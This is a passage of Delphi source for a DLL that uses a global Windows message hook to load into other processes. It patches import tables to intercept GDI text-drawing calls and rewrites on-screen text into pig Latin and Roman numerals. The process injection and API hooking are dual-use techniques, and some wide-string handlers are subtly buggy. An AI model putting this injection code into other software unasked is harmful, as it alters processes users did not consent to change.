Capitalize:=IsCharUpper(s[1]);

AllCapitals:=True;

for i:=1 to length(s) do begin

if IsCharLower(s[i]) then begin

AllCapitals:=False; break;

end;

end;

start:=lowercase(copy(s,1,2));

if (start[1]<'a') or (start[1]>'z') then exit;

if (start[1] in ['a','e','i','o','u']) then start:='';

if (start<>'ch') and (start<>'th') and (start<>'sh') and (start<>'wh')

and (start<>'qu') and (start<>'kn') and (start<>'wr') then delete(start,2,1);

Result:=copy(s,length(start)+1,length(s))+start;

if start='' then Result:=Result+'yay' else Result:=Result+'ay'; if AllCapitals then result:=Uppercase(Result) else

if Capitalize then result[1]:=Upcase(result[1]);

end;

function IntToRoman(n: Integer): String;

Var i, units, tens, hundreds, thousands: Integer;

begin

If (n>=5000) or (n<=0) then Result:=IntToStr(n) else begin thousands:=n div 1000; n:=n mod 1000;

hundreds:=n div 100; n:=n mod 100;

tens:=n div 10; n:=n mod 10;

units:=n;

Result:='';

for i:=1 to Thousands do begin

Result:=Result+'M';

end;

Case Hundreds of

1: Result:=Result+'C';

2: Result:=Result+'CC';

3: Result:=Result+'CCC';

4: Result:=Result+'CD';

5: Result:=Result+'D';

6: Result:=Result+'DC';

7: Result:=Result+'DCC';

8: Result:=Result+'DCCC';

9: Result:=Result+'CM';

end;

Case Tens of

1: Result:=Result+'X';

2: Result:=Result+'XX';

3: Result:=Result+'XXX';

4: Result:=Result+'XL';

5: Result:=Result+'L';

6: Result:=Result+'LX';

7: Result:=Result+'LXX';

8: Result:=Result+'LXXX';

9: Result:=Result+'XC';

end;

Case Units of

1: Result:=Result+'I';

2: Result:=Result+'II';

3: Result:=Result+'III';

4: Result:=Result+'IV';

5: Result:=Result+'V';

6: Result:=Result+'VI';

7: Result:=Result+'VII';

8: Result:=Result+'VIII';

9: Result:=Result+'IX';

end;

end;

end;

function LatinNumber(s: String): String;

Var n: Integer;

begin

try

n:=StrToInt(s);

Result:=IntToRoman(n);

except

Result:=s;

end;

end;

function Conv(s: String): String;

Var i: Integer; w: String;

begin

Result:='';

try

if s='' then exit;

i:=1;

while (i<=length(s)) do begin

while (i<=length(s)) and (s[i]<=' ') do begin

Result:=Result+s[i];

Inc(i);

end;

// convert any numbers into latin numbers

w:='';

while (i<=length(s)) and (s[i]>='0') and (s[i]<='9') do begin w:=w+s[i];

Inc(i);

end;

Result:=Result+LatinNumber(w);

// add any other symbols unchanged (for now)

w:='';

while (i<=length(s)) and not IsCharAlphaNumeric(s[i]) do begin w:=w+s[i];

Inc(i);

end;

Result:=Result+w;

// convert whole words into pig latin

w:='';

while (i<=length(s)) and IsCharAlpha(s[i]) do begin

w:=w+s[i];

Inc(i);

end;

Result:=Result+PigLatinWord(w);

end;

except

end;

end;

function GetMsgProc(code: integer; removal: integer; msg: Pointer): Integer; stdcall;

begin

Result:=0;

end;

Var HookHandle: THandle;

procedure StartHook; stdcall;

begin

HookHandle:=SetWindowsHookEx(WH_GETMESSAGE, @GetMsgProc, HInstance, 0);

end;

procedure StopHook; stdcall;

begin

UnhookWindowsHookEx(HookHandle);

end;

exports StartHook, StopHook;

begin

HookTextOut(Conv);

end.

====================================================

unit HookTextUnit;

interface

uses Windows, SysUtils, Classes, PEStuff;

type

TConvertTextFunction = function(text: String): String;

TTextOutA = function(hdc: HDC; x,y: Integer; text: PAnsiChar; len: Integer): BOOL; stdcall;

TTextOutW = function(hdc: HDC; x,y: Integer; text: PWideChar; len: Integer): BOOL; stdcall;

TExtTextOutA = function(hdc: HDC; x,y: Integer; Options: DWORD; Clip: PRect;

text: PAnsiChar; len: Integer; dx: PInteger): BOOL; stdcall;

TExtTextOutW = function(hdc: HDC; x,y: Integer; Options: DWORD; Clip: PRect;

text: PWideChar; len: Integer; dx: PInteger): BOOL; stdcall;

TDrawTextA = function(hdc: HDC; text: PAnsiChar; len: Integer; rect: PRect;

Format: DWORD): Integer; stdcall;

TDrawTextW = function(hdc: HDC; text: PWideChar; len: Integer; rect: PRect;

Format: DWORD): Integer; stdcall;

TDrawTextExA = function(hdc: HDC; text: PAnsiChar; len: Integer; rect: PRect;

Format: DWORD; DTParams: PDrawTextParams): Integer; stdcall;

TDrawTextExW = function(hdc: HDC; text: PWideChar; len: Integer; rect: PRect;

Format: DWORD; DTParams: PDrawTextParams): Integer; stdcall;

TTabbedTextOutA = function(hdc: HDC; x,y: Integer; text: PAnsiChar; len: Integer;

TabCount: Integer; TabPositions: PInteger; TabOrigin: Integer): Integer; stdcall;

TTabbedTextOutW = function(hdc: HDC; x,y: Integer; text: PWideChar; len: Integer;

TabCount: Integer; TabPositions: PInteger; TabOrigin: Integer): Integer; stdcall;

TPolyTextOutA = function(hdc: HDC; pptxt: PPOLYTEXTA; count: Integer): BOOL; stdcall;

TPolyTextOutW = function(hdc: HDC; pptxt: PPOLYTEXTW; count: Integer): BOOL; stdcall;

TGetTextExtentExPointA = function(hdc: HDC; text: PAnsiChar; len: Integer;

maxExtent: Integer; Fit: PInteger; Dx: PInteger; Size: Pointer): BOOL; stdcall;

TGetTextExtentExPointW = function(hdc: HDC; text: PWideChar; len: Integer;

maxExtent: Integer; Fit: PInteger; Dx: PInteger; Size: Pointer): BOOL; stdcall;

TGetTextExtentPoint32A = function(hdc: HDC; text: PAnsiChar; len: Integer; Size: Pointer): BOOL; stdcall;

TGetTextExtentPoint32W = function(hdc: HDC; text: PWideChar; len: Integer; Size: Pointer): BOOL; stdcall;

TGetTextExtentPointA = function(hdc: HDC; text: PAnsiChar; len: Integer; Size: Pointer): BOOL; stdcall;

TGetTextExtentPointW = function(hdc: HDC; text: PWideChar; len: Integer; Size: Pointer): BOOL; stdcall;

PPointer = ^Pointer;

TImportCode = packed record

JumpInstruction: Word; // should be $25FF

AddressOfPointerToFunction: PPointer;

end;

PImportCode = ^TImportCode;

procedure HookTextOut(ConvertFunction: TConvertTextFunction);

procedure UnhookTextOut;

implementation

Var

ConvertTextFunction: TConvertTextFunction = nil;

OldTextOutA: TTextOutA = nil;

OldTextOutW: TTextOutW = nil;

OldExtTextOutA: TExtTextOutA = nil;

OldExtTextOutW: TExtTextOutW = nil;

OldDrawTextA: TDrawTextA = nil;

OldDrawTextW: TDrawTextW = nil;

OldDrawTextExA: TDrawTextExA = nil;

OldDrawTextExW: TDrawTextExW = nil;

OldTabbedTextOutA: TTabbedTextOutA = nil;

OldTabbedTextOutW: TTabbedTextOutW = nil;

OldPolyTextOutA: TPolyTextOutA = nil;

OldPolyTextOutW: TPolyTextOutW = nil;

OldGetTextExtentExPointA: TGetTextExtentExPointA = nil;

OldGetTextExtentExPointW: TGetTextExtentExPointW = nil;

OldGetTextExtentPoint32A: TGetTextExtentPoint32A = nil;

OldGetTextExtentPoint32W: TGetTextExtentPoint32W = nil;

OldGetTextExtentPointA: TGetTextExtentPointA = nil;

OldGetTextExtentPointW: TGetTextExtentPointW = nil;

function StrLenW(s: PWideChar): Integer;

Var i: Integer;

begin

if s=nil then begin

Result:=0; exit;

end;

i:=0;

try

while (s[i]<>#0) do inc(i);

except

end;

Result:=i;

end;

function NewTextOutA(hdc: HDC; x,y: Integer; text: PAnsiChar; len: Integer): BOOL; stdcall;

Var s: String;

begin

try

if Len<0 then Len:=strlen(text);

If Len>0 then begin

SetLength(s,len);

FillChar(s[1],len+1,0);

Move(text^,s[1],len);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldTextOutA<>nil then

Result:=OldTextOutA(hdc,x,y,PAnsiChar(s),length(s))

else

Result:=False;

end else Result:=OldTextOutA(hdc,x,y,PAnsiChar(s),0);

except

Result:=False;

end;

end;

function NewTextOutW(hdc: HDC; x,y: Integer; text: PWideChar; len: Integer): BOOL; stdcall;

Var s: WideString;

begin

try

if Len<0 then Len:=strlenW(text);

If Len>0 then begin

SetLength(s,len);

FillChar(s[1],len*2+2,0);

Move(text^,s[1],len*2);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldTextOutW<>nil then

Result:=OldTextOutW(hdc,x,y,PWideChar(s),length(s))

else

Result:=False;

end else Result:=OldTextOutW(hdc,x,y,PWideChar(s),0);

except

Result:=False;

end;

end;

function NewExtTextOutA(hdc: HDC; x,y: Integer; Options: DWORD; Clip: PRect;

text: PAnsiChar; len: Integer; dx: PInteger): BOOL; stdcall;

Var s: String;

begin

try

if Len<0 then Len:=strlen(text); // ???

if Len>0 then begin

SetLength(s,len);

FillChar(s[1],len+1,0);

Move(text^,s[1],len);

if @ConvertTextFunction<>nil then s:=ConvertTextFunction(s); if @OldExtTextOutA<>nil then

Result:=OldExtTextOutA(hdc,x,y,Options,Clip,PAnsiChar(s),length(s),dx) else Result:=False;

end else Result:=OldExtTextOutA(hdc,x,y,Options,Clip,text,0,dx); except

Result:=False;

end;

end;

function NewExtTextOutW(hdc: HDC; x,y: Integer; Options: DWORD; Clip: PRect;

text: PWideChar; len: Integer; dx: PInteger): BOOL; stdcall;

Var s: WideString;

begin

try

if Len<0 then Len:=strlenW(text);

If Len>0 then begin

SetLength(s,len);

FillChar(s[1],len*2+2,0);

Move(text^,s[1],len*2);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldExtTextOutW<>nil then

Result:=OldExtTextOutW(hdc,x,y,Options,Clip,PWideChar(s),length(s),dx) else Result:=False;

end else Result:=OldExtTextOutW(hdc,x,y,Options,Clip,text,0,dx); except

Result:=False;

end;

end;

function NewDrawTextA(hdc: HDC; text: PAnsiChar; len: Integer; rect: PRect;

Format: DWORD): Integer; stdcall;

Var s: String;

begin

try

if Len<0 then Len:=strlen(text); // ???

if Len>0 then begin

SetLength(s,len);

FillChar(s[1],len+1,0);

Move(text^,s[1],len);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldDrawTextA<>nil then

Result:=OldDrawTextA(hdc,PAnsiChar(s),length(s),rect,Format) else Result:=0;

end else Result:=OldDrawTextA(hdc,text,0,rect,Format);

except

Result:=0;

end;

end;

function NewDrawTextW(hdc: HDC; text: PWideChar; len: Integer; rect: PRect;

Format: DWORD): Integer; stdcall;

Var s: WideString;

begin

try

if Len<0 then Len:=strlenW(text);

if len>0 then begin

SetLength(s,len);

FillChar(s[1],len*2+2,0);

Move(text^,s[1],len*2);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldDrawTextW<>nil then

Result:=OldDrawTextW(hdc,PWideChar(s),length(s),rect,Format) else Result:=0;

end else Result:=OldDrawTextW(hdc,text,0,rect,Format);

except

Result:=0;

end;

end;

function NewDrawTextExA(hdc: HDC; text: PAnsiChar; len: Integer; rect: PRect;

Format: DWORD; DTParams: PDrawTextParams): Integer; stdcall;

Var s: String;

begin

try

if Len<0 then Len:=strlen(text);

if len>0 then begin

SetLength(s,len);

FillChar(s[1],len+1,0);

Move(text^,s[1],len);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldDrawTextExA<>nil then

Result:=OldDrawTextExA(hdc,PAnsiChar(s),length(s),rect,Format,DTParams) else Result:=0;

end else Result:=OldDrawTextExA(hdc,text,0,rect,Format,DTParams); except

Result:=0;

end;

end;

function NewDrawTextExW(hdc: HDC; text: PWideChar; len: Integer; rect: PRect;

Format: DWORD; DTParams: PDrawTextParams): Integer; stdcall;

Var s: WideString;

begin

try

if Len<0 then Len:=strlenW(text);

if Len>0 then begin

SetLength(s,len);

FillChar(s[1],len*2+2,0);

Move(text^,s[1],len*2);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldDrawTextExW<>nil then

Result:=OldDrawTextExW(hdc,PWideChar(s),length(s),rect,Format,DTParams) else Result:=0;

end else Result:=OldDrawTextExW(hdc,text,0,rect,Format,DTParams); except

Result:=0;

end;

end;

function NewTabbedTextOutA(hdc: HDC; x,y: Integer; text: PAnsiChar; len: Integer;

TabCount: Integer; TabPositions: PInteger; TabOrigin: Integer): Integer; stdcall;

Var s: AnsiString;

begin

try

if Len<0 then Len:=strlen(text);

if Len>0 then begin

SetLength(s,len);

FillChar(s[1],len+1,0);

Move(text^,s[1],len);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldTabbedTextOutA<>nil then

Result:=OldTabbedTextOutA(hdc,x,y,PAnsiChar(s),length(s),TabCount,TabPositions,TabOrigin)

else Result:=0;

end else

Result:=OldTabbedTextOutA(hdc,x,y,text,0,TabCount,TabPositions,TabOrigin);

except

Result:=0;

end;

end;

function NewTabbedTextOutW(hdc: HDC; x,y: Integer; text: PWideChar; len: Integer;

TabCount: Integer; TabPositions: PInteger; TabOrigin: Integer): Integer; stdcall;

Var s: WideString;

begin

try

if Len<0 then Len:=strlenW(text);

if Len>0 then begin

SetLength(s,len);

FillChar(s[1],len*2+2,0);

Move(text^,s[1],len*2);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldTabbedTextOutW<>nil then

Result:=OldTabbedTextOutW(hdc,x,y,PWideChar(s),length(s),TabCount,TabPositions,TabOrigin)

else Result:=0;

end else

Result:=OldTabbedTextOutW(hdc,x,y,text,0,TabCount,TabPositions,TabOrigin);

except

Result:=0;

end;

end;

function NewPolyTextOutA(hdc: HDC; pptxt: PPOLYTEXTA; count: Integer): BOOL; stdcall;

Var s: String; i: Integer; ppnew: PPOLYTEXTA;

begin

ppnew:=nil;

try

Result:=False;

if Count<0 then exit;

if Count=0 then begin Result:=True; exit; end;

GetMem(ppnew,count*sizeof(TPOLYTEXTA));

For i:=1 to count do begin

ppnew^:=pptxt^;

if ppnew^.n<0 then ppnew^.n:=strlen(ppnew^.PAnsiChar);

if ppnew^.n>0 then begin

SetLength(s,ppnew^.n);

FillChar(s[1],ppnew^.n+1,0);

Move(ppnew^.PAnsiChar,s[1],ppnew^.n);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

ppnew^.PAnsiChar:=PAnsiChar(s);

ppnew^.n:=length(s);

if @OldPolyTextOutA<>nil then

Result:=OldPolyTextOutA(hdc,ppnew,1);

end;

Inc(pptxt);

end;

except

Result:=False;

end;

if ppnew<>nil then FreeMem(ppnew);

end;

function NewPolyTextOutW(hdc: HDC; pptxt: PPOLYTEXTW; count: Integer): BOOL; stdcall;

begin

Result:=OldPolyTextOutW(hdc,pptxt,count);

end;

function NewGetTextExtentExPointA(hdc: HDC; text: PAnsiChar; len: Integer;

maxExtent: Integer; Fit: PInteger; Dx: PInteger; Size: Pointer): BOOL; stdcall;

Var s: AnsiString;

begin

try

if Len<0 then Len:=strlen(text);

if Len>0 then begin

SetLength(s,len);

FillChar(s[1],len+1,0);

Move(text^,s[1],len);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldGetTextExtentExPointA<>nil then

Result:=OldGetTextExtentExPointA(hdc,PAnsiChar(s),length(s),maxExtent,Fit,Dx,Size)

else Result:=False;

end else

Result:=OldGetTextExtentExPointA(hdc,text,0,maxExtent,Fit,Dx,Size); except

Result:=False;

end;

end;

Function NewGetTextExtentExPointW(hdc: HDC; text: PWideChar; len: Integer;

maxExtent: Integer; Fit: PInteger; Dx: PInteger; Size: Pointer): BOOL; stdcall;

Var s: WideString;

begin

try

if Len<0 then Len:=strlenW(text);

if Len>0 then begin

SetLength(s,len);

FillChar(s[1],len*2+2,0);

Move(text^,s[1],len);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldGetTextExtentExPointW<>nil then

Result:=OldGetTextExtentExPointW(hdc,PWideChar(s),length(s),maxExtent,Fit,Dx,Size)

else Result:=False;

end else

Result:=OldGetTextExtentExPointW(hdc,text,0,maxExtent,Fit,Dx,Size); except

Result:=False;

end;

end;

function NewGetTextExtentPoint32A(hdc: HDC; text: PAnsiChar; len: Integer; Size: Pointer): BOOL; stdcall;

Var s: AnsiString;

begin

try

if Len<0 then Len:=strlen(text);

if Len>0 then begin

SetLength(s,len);

FillChar(s[1],len+1,0);

Move(text^,s[1],len);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldGetTextExtentPoint32A<>nil then

Result:=OldGetTextExtentPoint32A(hdc,PAnsiChar(s),length(s),Size) else Result:=False;

end else Result:=OldGetTextExtentPoint32A(hdc,text,0,Size);

except

Result:=False;

end;

end;

function NewGetTextExtentPoint32W(hdc: HDC; text: PWideChar; len: Integer; Size: Pointer): BOOL; stdcall;

Var s: WideString;

begin

try

if Len<0 then Len:=strlenW(text);

if Len>0 then begin

SetLength(s,len);

FillChar(s[1],len*2+2,0);

Move(text^,s[1],len);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldGetTextExtentPoint32W<>nil then

Result:=OldGetTextExtentPoint32W(hdc,PWideChar(s),length(s),Size) else Result:=False;

end else Result:=OldGetTextExtentPoint32W(hdc,text,0,Size);

except

Result:=False;

end;

end;

function NewGetTextExtentPointA(hdc: HDC; text: PAnsiChar; len: Integer; Size: Pointer): BOOL; stdcall;

Var s: AnsiString;

begin

try

if Len<0 then Len:=strlen(text);

if Len>0 then begin

SetLength(s,len);

FillChar(s[1],len+1,0);

Move(text^,s[1],len);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldGetTextExtentPointA<>nil then

Result:=OldGetTextExtentPointA(hdc,PAnsiChar(s),length(s),Size) else Result:=False;

end else Result:=OldGetTextExtentPointA(hdc,text,0,Size);

except

Result:=False;

end;

end;

function NewGetTextExtentPointW(hdc: HDC; text: PWideChar; len: Integer; Size: Pointer): BOOL; stdcall;

Var s: WideString;

begin

try

if Len<0 then Len:=strlenW(text);

if Len>0 then begin

SetLength(s,len);

FillChar(s[1],len*2+2,0);

Move(text^,s[1],len);

if @ConvertTextFunction<>nil then

s:=ConvertTextFunction(s);

if @OldGetTextExtentPoint32W<>nil then

Result:=OldGetTextExtentPointW(hdc,PWideChar(s),length(s),Size) else Result:=False;

end else Result:=OldGetTextExtentPointW(hdc,text,0,Size);

except

Result:=False;

end;

end;

function PointerToFunctionAddress(Code: Pointer): PPointer;

Var func: PImportCode;

begin

Result:=nil;

if Code=nil then exit;

try

func:=code;

if (func.JumpInstruction=$25FF) then begin

Result:=func.AddressOfPointerToFunction;

end;

except

Result:=nil;

end;

end;

function FinalFunctionAddress(Code: Pointer): Pointer;

Var func: PImportCode;

begin

Result:=Code;

if Code=nil then exit;

try

func:=code;

if (func.JumpInstruction=$25FF) then begin

Result:=func.AddressOfPointerToFunction^;

end;

except

Result:=nil;

end;

end;

Function PatchAddress(OldFunc, NewFunc: Pointer): Integer;

Var BeenDone: TList;

Function PatchAddressInModule(hModule: THandle; OldFunc, NewFunc: Pointer): Integer;

Var Dos: PImageDosHeader; NT: PImageNTHeaders;

ImportDesc: PImage_Import_Entry; rva: DWORD;

Func: PPointer; DLL: String; f: Pointer; written: DWORD;

begin

Result:=0;

Dos:=Pointer(hModule);

if BeenDone.IndexOf(Dos)>=0 then exit;

BeenDone.Add(Dos);

OldFunc:=FinalFunctionAddress(OldFunc);

if IsBadReadPtr(Dos,SizeOf(TImageDosHeader)) then exit;

if Dos.e_magic<>IMAGE_DOS_SIGNATURE then exit;

NT :=Pointer(Integer(Dos) + dos._lfanew);

// if IsBadReadPtr(NT,SizeOf(TImageNtHeaders)) then exit;

RVA:=NT^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

if RVA=0 then exit;

ImportDesc := pointer(integer(Dos)+RVA);

While (ImportDesc^.Name<>0) do begin

DLL:=PChar(Integer(Dos)+ImportDesc^.Name);

PatchAddressInModule(GetModuleHandle(PChar(DLL)),OldFunc,NewFunc); Func:=Pointer(Integer(DOS)+ImportDesc.LookupTable);

While Func^<>nil do begin

f:=FinalFunctionAddress(Func^);

if f=OldFunc then begin

WriteProcessMemory(GetCurrentProcess,Func,@NewFunc,4,written); If Written>0 then Inc(Result);

end;

Inc(Func);

end;

Inc(ImportDesc);

end;

end;

begin

BeenDone:=TList.Create;

try

Result:=PatchAddressInModule(GetModuleHandle(nil),OldFunc,NewFunc); finally

BeenDone.Free;

end;

end;

procedure HookTextOut(ConvertFunction: TConvertTextFunction);

begin

if @OldTextOutA=nil then

@OldTextOutA:=FinalFunctionAddress(@TextOutA);

if @OldTextOutW=nil then

@OldTextOutW:=FinalFunctionAddress(@TextOutW);

if @OldExtTextOutA=nil then

@OldExtTextOutA:=FinalFunctionAddress(@ExtTextOutA);

if @OldExtTextOutW=nil then

@OldExtTextOutW:=FinalFunctionAddress(@ExtTextOutW);

if @OldDrawTextA=nil then

@OldDrawTextA:=FinalFunctionAddress(@DrawTextA);

if @OldDrawTextW=nil then

@OldDrawTextW:=FinalFunctionAddress(@DrawTextW);

if @OldDrawTextExA=nil then

@OldDrawTextExA:=FinalFunctionAddress(@DrawTextExA);

if @OldDrawTextExW=nil then

@OldDrawTextExW:=FinalFunctionAddress(@DrawTextExW);

if @OldTabbedTextOutA=nil then

@OldTabbedTextOutA:=FinalFunctionAddress(@TabbedTextOutA);

if @OldTabbedTextOutW=nil then

@OldTabbedTextOutW:=FinalFunctionAddress(@TabbedTextOutW);

if @OldPolyTextOutA=nil then

@OldPolyTextOutA:=FinalFunctionAddress(@PolyTextOutA);

if @OldPolyTextOutW=nil then

@OldPolyTextOutW:=FinalFunctionAddress(@PolyTextOutW);

if @OldGetTextExtentExPointA=nil then

@OldGetTextExtentExPointA:=FinalFunctionAddress(@GetTextExtentExPointA);

if @OldGetTextExtentExPointW=nil then

@OldGetTextExtentExPointW:=FinalFunctionAddress(@GetTextExtentExPointW);

if @OldGetTextExtentPoint32A=nil then

@OldGetTextExtentPoint32A:=FinalFunctionAddress(@GetTextExtentPoint32A);

if @OldGetTextExtentPoint32W=nil then

@OldGetTextExtentPoint32W:=FinalFunctionAddress(@GetTextExtentPoint32W);

if @OldGetTextExtentPointA=nil then

@OldGetTextExtentPointA:=FinalFunctionAddress(@GetTextExtentPointA);

if @OldGetTextExtentPointW=nil then

@OldGetTextExtentPointW:=FinalFunctionAddress(@GetTextExtentPointW);

@ConvertTextFunction:=@ConvertFunction;

PatchAddress(@OldTextOutA, @NewTextOutA);

PatchAddress(@OldTextOutW, @NewTextOutW);

PatchAddress(@OldExtTextOutA, @NewExtTextOutA);

PatchAddress(@OldExtTextOutW, @NewExtTextOutW);

PatchAddress(@OldDrawTextA, @NewDrawTextA);

PatchAddress(@OldDrawTextW, @NewDrawTextW);

PatchAddress(@OldDrawTextExA, @NewDrawTextExA);

PatchAddress(@OldDrawTextExW, @NewDrawTextExW);

PatchAddress(@OldTabbedTextOutA, @NewTabbedTextOutA);

PatchAddress(@OldTabbedTextOutW, @NewTabbedTextOutW);

PatchAddress(@OldPolyTextOutA, @NewPolyTextOutA);

PatchAddress(@OldPolyTextOutW, @NewPolyTextOutW);

PatchAddress(@OldGetTextExtentExPointA, @NewGetTextExtentExPointA); PatchAddress(@OldGetTextExtentExPointW, @NewGetTextExtentExPointW); PatchAddress(@OldGetTextExtentPoint32A, @NewGetTextExtentPoint32A); PatchAddress(@OldGetTextExtentPoint32W, @NewGetTextExtentPoint32W); PatchAddress(@OldGetTextExtentPointA, @NewGetTextExtentPointA); PatchAddress(@OldGetTextExtentPointW, @NewGetTextExtentPointW); end;

procedure UnhookTextOut;

begin

If @OldTextOutA<>nil then begin

PatchAddress(@NewTextOutA, @OldTextOutA);

PatchAddress(@NewTextOutW, @OldTextOutW);

PatchAddress(@NewExtTextOutA, @OldExtTextOutA);

PatchAddress(@NewExtTextOutW, @OldExtTextOutW);

PatchAddress(@NewDrawTextA, @OldDrawTextA);

PatchAddress(@NewDrawTextW, @OldDrawTextW);

PatchAddress(@NewDrawTextExA, @OldDrawTextExA);

PatchAddress(@NewDrawTextExW, @OldDrawTextExW);

PatchAddress(@NewTabbedTextOutA, @OldTabbedTextOutA);

PatchAddress(@NewTabbedTextOutW, @OldTabbedTextOutW);

PatchAddress(@NewPolyTextOutA, @OldPolyTextOutA);

PatchAddress(@NewPolyTextOutW, @OldPolyTextOutW);

PatchAddress(@NewGetTextExtentExPointA, @OldGetTextExtentExPointA); PatchAddress(@NewGetTextExtentExPointW, @OldGetTextExtentExPointW); PatchAddress(@NewGetTextExtentPoint32A, @OldGetTextExtentPoint32A); PatchAddress(@NewGetTextExtentPoint32W, @OldGetTextExtentPoint32W); PatchAddress(@NewGetTextExtentPointA, @OldGetTextExtentPointA); PatchAddress(@NewGetTextExtentPointW, @OldGetTextExtentPointW); end;

end;

initialization

finalization

UnhookTextOut;

end.

===================================================

unit PEStuff;

interface

uses Windows;

type

PImageDosHeader = ^TImageDosHeader;

_IMAGE_DOS_HEADER = packed record { DOS .EXE

header }

e_magic: Word; { Magic

number }

e_cblp: Word; { Bytes on last page of file }

e_cp: Word; { Pages in

file }

e_crlc: Word; {

Relocations }

e_cparhdr: Word; { Size of header in

paragraphs }

e_minalloc: Word; { Minimum extra paragraphs needed }

e_maxalloc: Word; { Maximum extra paragraphs needed }

e_ss: Word; { Initial (relative) SS value }

e_sp: Word; { Initial SP

value }

e_csum: Word; {

Checksum }

e_ip: Word; { Initial IP

value }

e_cs: Word; { Initial (relative) CS value }

e_lfarlc: Word; { File address of relocation table }

e_ovno: Word; { Overlay

number }

e_res: array [0..3] of Word; { Reserved

words }

e_oemid: Word; { OEM identifier (for

e_oeminfo) }

e_oeminfo: Word; { OEM information; e_oemid specific}

e_res2: array [0..9] of Word; { Reserved

words }

_lfanew: LongInt; { File address of new exe header }

end;

TImageDosHeader = _IMAGE_DOS_HEADER;

PIMAGE_FILE_HEADER = ^IMAGE_FILE_HEADER;

IMAGE_FILE_HEADER = packed record

Machine : WORD;

NumberOfSections : WORD;

TimeDateStamp : DWORD;

PointerToSymbolTable : DWORD;

NumberOfSymbols : DWORD;

SizeOfOptionalHeader : WORD;

Characteristics : WORD;

end;

PIMAGE_DATA_DIRECTORY = ^IMAGE_DATA_DIRECTORY;

IMAGE_DATA_DIRECTORY = packed record

VirtualAddress : DWORD;

Size : DWORD;

end;

PIMAGE_SECTION_HEADER = ^IMAGE_SECTION_HEADER;

IMAGE_SECTION_HEADER = packed record

Name : packed array [0..IMAGE_SIZEOF_SHORT_NAME-1] of Char;

VirtualSize : DWORD; // or VirtualSize (union);

VirtualAddress : DWORD;

SizeOfRawData : DWORD;

PointerToRawData : DWORD;

PointerToRelocations : DWORD;

PointerToLinenumbers : DWORD;

NumberOfRelocations : WORD;

NumberOfLinenumbers : WORD;

Characteristics : DWORD;

end;

PIMAGE_OPTIONAL_HEADER = ^IMAGE_OPTIONAL_HEADER;

IMAGE_OPTIONAL_HEADER = packed record

{ Standard fields. }

Magic : WORD;

MajorLinkerVersion : Byte;

MinorLinkerVersion : Byte;

SizeOfCode : DWORD;

SizeOfInitializedData : DWORD;

SizeOfUninitializedData : DWORD;

AddressOfEntryPoint : DWORD;

BaseOfCode : DWORD;

BaseOfData : DWORD;

{ NT additional fields. }

ImageBase : DWORD;

SectionAlignment : DWORD;

FileAlignment : DWORD;

MajorOperatingSystemVersion : WORD;

MinorOperatingSystemVersion : WORD;

MajorImageVersion : WORD;

MinorImageVersion : WORD;

MajorSubsystemVersion : WORD;

MinorSubsystemVersion : WORD;

Reserved1 : DWORD;

SizeOfImage : DWORD;

SizeOfHeaders : DWORD;

CheckSum : DWORD;

Subsystem : WORD;

DllCharacteristics : WORD;

SizeOfStackReserve : DWORD;

SizeOfStackCommit : DWORD;

SizeOfHeapReserve : DWORD;

SizeOfHeapCommit : DWORD;

LoaderFlags : DWORD;

NumberOfRvaAndSizes : DWORD;

DataDirectory : packed array

[0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1] of IMAGE_DATA_DIRECTORY; Sections: packed array [0..9999] of IMAGE_SECTION_HEADER;

end;

PIMAGE_NT_HEADERS = ^IMAGE_NT_HEADERS;

IMAGE_NT_HEADERS = packed record

Signature : DWORD;

FileHeader : IMAGE_FILE_HEADER;

OptionalHeader : IMAGE_OPTIONAL_HEADER;

end;

PImageNtHeaders = PIMAGE_NT_HEADERS;

TImageNtHeaders = IMAGE_NT_HEADERS;

{ PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;

IMAGE_IMPORT_DESCRIPTOR = packed record

Characteristics: DWORD; // or original first thunk // 0 for

terminating null import descriptor // RVA to original unbound IAT TimeDateStamp: DWORD; // 0 if not bound,

// -1 if bound, and real datestamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)

// O.W. date/time stamp of DLL bound to (Old BIND)

Name: DWORD;

FirstThunk: DWORD; // PIMAGE_THUNK_DATA // RVA to IAT (if bound this IAT has actual addresses)

ForwarderChain: DWORD; // -1 if no forwarders

end;

TImageImportDescriptor = IMAGE_IMPORT_DESCRIPTOR;

PImageImportDescriptor = PIMAGE_IMPORT_DESCRIPTOR;}

PIMAGE_IMPORT_BY_NAME = ^IMAGE_IMPORT_BY_NAME;

IMAGE_IMPORT_BY_NAME = record

Hint: Word;

Name: Array[0..0] of Char;

end;

PIMAGE_THUNK_DATA = ^IMAGE_THUNK_DATA;

IMAGE_THUNK_DATA = record

Whatever: DWORD;

end;

PImage_Import_Entry = ^Image_Import_Entry;

Image_Import_Entry = record

Characteristics: DWORD;

TimeDateStamp: DWORD;

MajorVersion: Word;

MinorVersion: Word;

Name: DWORD;

LookupTable: DWORD;

end;

const

IMAGE_DOS_SIGNATURE = $5A4D; // MZ

IMAGE_OS2_SIGNATURE = $454E; // NE

IMAGE_OS2_SIGNATURE_LE = $454C; // LE

IMAGE_VXD_SIGNATURE = $454C; // LE

IMAGE_NT_SIGNATURE = $00004550; // PE00

implementation

end.

=================================================

Create a new project with one form, with two buttons.

=================================================

unit PigLatinUnit;

interface

uses

